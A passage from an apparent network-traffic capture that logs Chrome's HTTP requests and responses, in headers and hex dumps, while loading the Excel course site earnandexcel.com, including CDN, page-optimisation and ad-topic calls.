mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000
2024-04-11 21:26:55 UTC	907	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:55 GMT Content-Type: image/jpeg Content-Length: 1845 Connection: close CF-Ray: 872e0ec13c4f43fe-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3303-735" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:43 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PsJNs3azyxvozWXd50oSPWyxa5g2%2F2Xg6pVIauvSszKCCYanuhUCjylt4%2BwLlU4%2FNB%2FAk75J4663RsT5Eh5X66LWOEnDBNZCu0puF46fGjuB%2BLROD7oeMyHvGj2KscL5pBs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:55 UTC	462	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff db 00 43 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c2 00 11 08 00 20 00 20 03 01 22 00 02 11 01 03 11 01 ff c4 00 17 00 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 07 09 08 06 ff c4 00 15 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 04 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 b8 59 39 3c 0c 47 07 05 40 65 b6 b8 4c 99 50 82 Data Ascii: JFIF``CC "Y9<G@eLP
2024-04-11 21:26:55 UTC	1369	IN	Data Raw: 9d 4f 32 4a fb d5 3c 27 98 42 75 8c 3e 6d 85 93 04 02 7f 23 98 02 4d 1c 76 0d ed 20 22 b7 eb 78 f1 29 79 1a 89 b5 1d b9 15 ee ed 7b d5 3a 4e ba 4f ea f9 59 82 58 62 37 d8 fc 5b 8c 7d 96 d0 45 91 56 96 b7 2d a2 79 03 2e 29 89 3e 3f 10 ee 63 b9 0a c7 c0 52 20 da 56 9c 4c 70 58 f2 36 25 8b d7 41 af ff c4 00 22 11 00 02 03 00 02 01 04 03 00 00 00 00 00 00 00 00 02 03 01 04 05 06 12 00 07 11 13 14 16 31 32 ff da 00 08 01 02 01 01 3f 01 f5 a3 9b 73 e2 b1 a7 9d 73 5f 3b 8c 64 2f 5d f9 d9 dc 77 3e e1 7e 43 bd 9a bb 4d 48 6b e8 fd 7f 91 f5 33 ac a5 7f 28 2a d3 73 d3 68 1c 02 aa b7 06 3e c7 9c 7b 47 4f dd 0a 07 aa e2 09 c0 a6 d6 69 cf da aa a9 21 19 7a fb 7b 13 14 23 3d a6 02 5a 21 11 31 20 bf eb cd 2f 4c b5 79 df 27 e4 d5 70 78 b0 61 65 9f 2d d6 b1 af ce 39 33 1b Data Ascii: O2J<'Bu>m#Mv "x)y{:NOYXb7[}EV-y.)>?cR VLpX6%A"12?ss_;d/]w>~CMHk3(*sh>{GOi!z{#=Z!1 /Ly'pxae-93
2024-04-11 21:26:55 UTC	14	IN	Data Raw: 03 90 5b ef b5 30 f4 d4 22 0e ed 0f ff d9 Data Ascii: [0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.17	50009	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:54 UTC	665	OUT	POST /dropoff HTTP/1.1 Host: to.getnitropack.com Connection: keep-alive Content-Length: 510 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7hnHOiaCIv0tBvfA Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:54 UTC	510	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 37 68 6e 48 4f 69 61 43 49 76 30 74 42 76 66 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6b 65 79 22 0d 0a 0d 0a 70 64 75 4d 43 66 49 63 79 6b 77 68 53 63 55 4a 63 45 44 6f 68 78 62 79 55 52 65 66 4d 65 68 4d 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 37 68 6e 48 4f 69 61 43 49 76 30 74 42 76 66 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 72 6f 70 73 22 0d 0a 0d 0a 7b 22 31 37 31 32 38 37 30 38 30 32 37 37 32 6e 64 34 72 37 67 67 35 35 69 69 5f 6e 61 5f 33 67 5f 75 5f 64 6f 77 22 3a 7b 22 65 Data Ascii: ------WebKitFormBoundary7hnHOiaCIv0tBvfAContent-Disposition: form-data; name="key"pduMCfIcykwhScUJcEDohxbyURefMehM------WebKitFormBoundary7hnHOiaCIv0tBvfAContent-Disposition: form-data; name="props"{"1712870802772nd4r7gg55ii_na_3g_u_dow":{"e
2024-04-11 21:26:55 UTC	339	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Encoding: none access-control-allow-origin: * strict-transport-security: max-age=15724800; includeSubDomains CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 872e0ec24a270f3f-EWR
2024-04-11 21:26:55 UTC	26	IN	Data Raw: 31 34 0d 0a 68 74 74 70 73 3a 2f 2f 6e 69 74 72 6f 70 61 63 6b 2e 69 6f 0d 0a Data Ascii: 14https://nitropack.io
2024-04-11 21:26:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.17	50008	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:54 UTC	659	OUT	POST / HTTP/1.1 Host: to.getnitropack.com Connection: keep-alive Content-Length: 1709 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhNKP7jY6LJBuiPWx Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:54 UTC	1709	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 68 4e 4b 50 37 6a 59 36 4c 4a 42 75 69 50 57 78 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6b 65 79 22 0d 0a 0d 0a 70 64 75 4d 43 66 49 63 79 6b 77 68 53 63 55 4a 63 45 44 6f 68 78 62 79 55 52 65 66 4d 65 68 4d 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 68 4e 4b 50 37 6a 59 36 4c 4a 42 75 69 50 57 78 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 72 6f 70 73 22 0d 0a 0d 0a 7b 22 31 37 31 32 38 37 30 38 30 32 37 37 32 6e 64 34 72 37 67 67 35 35 69 69 5f 6e 61 5f 33 67 5f 75 5f 64 6f 77 22 3a 7b 22 69 Data Ascii: ------WebKitFormBoundaryhNKP7jY6LJBuiPWxContent-Disposition: form-data; name="key"pduMCfIcykwhScUJcEDohxbyURefMehM------WebKitFormBoundaryhNKP7jY6LJBuiPWxContent-Disposition: form-data; name="props"{"1712870802772nd4r7gg55ii_na_3g_u_dow":{"i
2024-04-11 21:26:55 UTC	462	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close server-timing: c;dur=2.74, cn;dur=0, json;dur=0.03, pl;dur=0.7, gne;dur=0.12, push-0;dur=2.02, l-0;dur=2.73, all;dur=3.44 Content-Encoding: none access-control-allow-origin: * strict-transport-security: max-age=15724800; includeSubDomains CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 872e0ec1a9ec5e86-EWR
2024-04-11 21:26:55 UTC	26	IN	Data Raw: 31 34 0d 0a 68 74 74 70 73 3a 2f 2f 6e 69 74 72 6f 70 61 63 6b 2e 69 6f 0d 0a Data Ascii: 14https://nitropack.io
2024-04-11 21:26:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.17	50020	172.67.164.44	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:57 UTC	549	OUT	GET /update?cats= HTTP/1.1 Host: sda.fyi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:57 UTC	759	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:57 GMT Content-Type: application/json Content-Length: 2 Connection: close Access-Control-Allow-Origin: https://earnandexcel.com Set-Cookie: mv_sda=; Max-Age=2592000000; Domain=.sda.fyi; Secure; SameSite=None Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gxoOBwd5iDHyXROuNBmHaR%2BJkHTWUxr5LCr3pALLTHSxqoYgkYZU1fIWfzjrRg0hmHQFaPUpMPEoGQpgvcwP5QAG67%2Fqfa0LQLhp8U9Jt5GvKXBrIelnxU2L"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 872e0ed0781143d4-EWR alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:57 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.17	50019	172.67.164.44	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:57 UTC	677	OUT	GET /topics/ HTTP/1.1 Host: sda.fyi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:57 UTC	669	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1284 Connection: close Cache-Control: public, no-cache Surrogate-Control: max-age=86400, stale-if-error=86400, stale-while-revalidate=60 Surrogate-Key: topics Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nj1nQTgUA8GQ49MXKTFtg%2FVeZbpQSuhOLuZo7piZxIi5QbnIxeGqPSgJAhtX4sJX%2BQZ3d%2Bro3QsmzJejQ1Fu6zAYxkJ6eiRk3%2BENif2kzMHFrBxSL5aJM0Wd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 872e0ed08eec0f84-EWR alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:57 UTC	700	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 6f 72 69 67 69 6e 2d 74 72 69 61 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 41 6a 6d 39 6c 74 44 58 42 58 31 33 37 32 2f 76 2f 6f 4e 37 6b 30 6a 71 54 5a 39 55 39 78 4b 43 6a 75 67 65 5a 57 6a 4d 4a 44 78 72 46 36 35 47 6a 45 37 36 61 4c 31 4a 50 76 30 75 6e 65 4e 68 33 54 49 51 59 47 57 35 34 62 54 4e 4d 30 62 4c 79 46 31 46 74 67 67 41 41 41 42 57 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f 69 4a 6f 64 48 52 77 63 7a 6f 76 4c 33 4e 6b 59 53 35 6d 65 57 6b 36 4e 44 51 7a 49 69 77 69 5a 6d 56 68 64 48 56 79 5a 53 49 36 49 6c 42 79 61 58 5a 68 59 33 6c 54 59 57 35 6b 59 6d 39 34 51 57 52 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="origin-trial" content="Ajm9ltDXBX1372/v/oN7k0jqTZ9U9xKCjugeZWjMJDxrF65GjE76aL1JPv0uneNh3TIQYGW54bTNM0bLyF1FtggAAABWeyJvcmlnaW4iOiJodHRwczovL3NkYS5meWk6NDQzIiwiZmVhdHVyZSI6IlByaXZhY3lTYW5kYm94QWR
2024-04-11 21:26:57 UTC	584	IN	Data Raw: 6f 70 69 63 73 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 74 6f 70 69 63 73 20 7c 7c 20 21 74 6f 70 69 63 73 2e 6c 65 6e 67 74 68 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 7b 20 6c 6f 67 3a 20 27 4e 6f 20 74 6f 70 69 63 73 20 72 65 74 75 72 6e 65 64 27 2c 20 6d 65 73 73 61 67 65 3a 20 27 74 6f 70 69 63 73 4c 6f 67 27 7d 29 2c 20 27 2a 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: opics) { if (!topics \|\| !topics.length) { window.parent.postMessage(JSON.stringify({ log: 'No topics returned', message: 'topicsLog'}), '*'); return }

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.17	50024	104.21.41.99	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:57 UTC	360	OUT	GET /update?cats= HTTP/1.1 Host: sda.fyi Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_sda=
2024-04-11 21:26:57 UTC	734	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:57 GMT Content-Type: application/json Content-Length: 2 Connection: close Access-Control-Allow-Origin: * Set-Cookie: mv_sda=; Max-Age=2592000000; Domain=.sda.fyi; Secure; SameSite=None Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mgi7zmjfWYJAJmUm3a36Q8KUChZ5hsMvzLam6b0BUqiWwlDnTejqYhfpe3PeKCI9Cz8kqSxu197ylylsPa6hlp77xrGpv%2BkuJ2Djk7JFy0krCKPgkzIwqvfM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 872e0ed38c53424a-EWR alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:57 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.17	50025	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:57 UTC	2305	OUT	POST /wp-admin/admin-ajax.php HTTP/1.1 Host: earnandexcel.com Connection: keep-alive Content-Length: 81 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://earnandexcel.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=
2024-04-11 21:26:57 UTC	81	OUT	Data Raw: 5f 74 75 74 6f 72 5f 6e 6f 6e 63 65 3d 63 38 65 65 35 64 61 31 62 30 26 73 6f 75 72 63 65 3d 6c 61 74 65 73 74 26 6e 75 6d 62 65 72 3d 38 26 6c 61 79 6f 75 74 3d 67 72 69 64 26 61 63 74 69 6f 6e 3d 67 65 74 5f 63 6f 75 72 73 65 5f 74 61 62 73 Data Ascii: _tutor_nonce=c8ee5da1b0&source=latest&number=8&layout=grid&action=get_course_tabs
2024-04-11 21:26:58 UTC	1103	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0ed36c1872ab-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: https://earnandexcel.com Cache-Control: no-cache, must-revalidate, max-age=0, no-store Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding accept-ch: Sec-CH-UA-Mobile access-control-allow-credentials: true ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p pragma: no-cache referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff X-Edge-Location-Klb: 1 x-frame-options: SAMEORIGIN x-robots-tag: noindex Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=96Qli5uhi0v6HhSHfpxXbKhkNTt%2Fa3F97NkAfB32YnlE41SewfS8ohL4I8jIfPv6VJMjTTGvve%2FQm2pPFXPxIz3fpWx14Ji7Nv9%2Fj%2FKrRyQ36h%2FZ5jwtd%2BdC702Y77ak9Yw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:58 UTC	266	IN	Data Raw: 37 34 62 61 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 74 65 6d 70 6c 61 74 65 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 67 72 69 64 2d 69 74 65 6d 20 70 6f 73 74 2d 32 37 39 34 37 20 74 79 70 65 2d 63 6f 75 72 73 65 73 20 73 74 61 74 75 73 2d 70 75 62 6c 69 73 68 20 68 61 73 2d 70 6f 73 74 2d 74 68 75 6d 62 6e 61 69 6c 20 68 65 6e 74 72 79 20 63 6f 75 72 73 65 2d 6c 61 6e 67 75 61 67 65 2d 65 6e 67 6c 69 73 68 20 63 6f 75 72 73 65 2d 63 61 74 65 67 6f 72 79 2d 6d 69 63 72 6f 73 6f 66 74 2d 65 78 63 65 6c 20 63 6f 75 72 73 65 2d 74 61 67 2d 61 6c 6c 2d 61 63 63 65 73 73 20 63 6f 75 72 73 65 2d 70 61 69 64 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 77 72 61 70 70 65 72 20 65 64 75 6d 61 6c 6c 2d Data Ascii: 74ba{"success":true,"template":"<div class=\"grid-item post-27947 type-courses status-publish has-post-thumbnail hentry course-language-english course-category-microsoft-excel course-tag-all-access course-paid\"><div class=\"course-loop-wrapper edumall-
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 2d 74 6f 6f 6c 74 69 70 5c 22 5c 6e 5c 74 20 20 20 20 20 64 61 74 61 2d 74 6f 6f 6c 74 69 70 3d 5c 22 71 75 69 63 6b 2d 76 69 65 77 2d 63 6f 75 72 73 65 2d 32 37 39 34 37 2d 36 36 31 38 35 35 61 32 32 35 61 34 37 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 68 65 61 64 65 72 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 6f 75 72 73 65 2d 74 68 75 6d 62 6e 61 69 6c 20 65 64 75 6d 61 6c 6c 2d 69 6d 61 67 65 5c 22 3e 3c 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 5c 2f 63 6f 75 72 73 65 73 5c 2f 65 78 63 65 6c 2d 76 62 61 5c 2f 5c 22 3e 3c 69 6d 67 20 20 73 72 63 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 5c Data Ascii: -tooltip\"\n\t data-tooltip=\"quick-view-course-27947-661855a225a47\"><div class=\"tutor-course-header\"><div class=\"course-thumbnail edumall-image\"><a href=\"https:\/\/earnandexcel.com\/courses\/excel-vba\/\"><img src=\"https:\/\/earnandexcel.com\
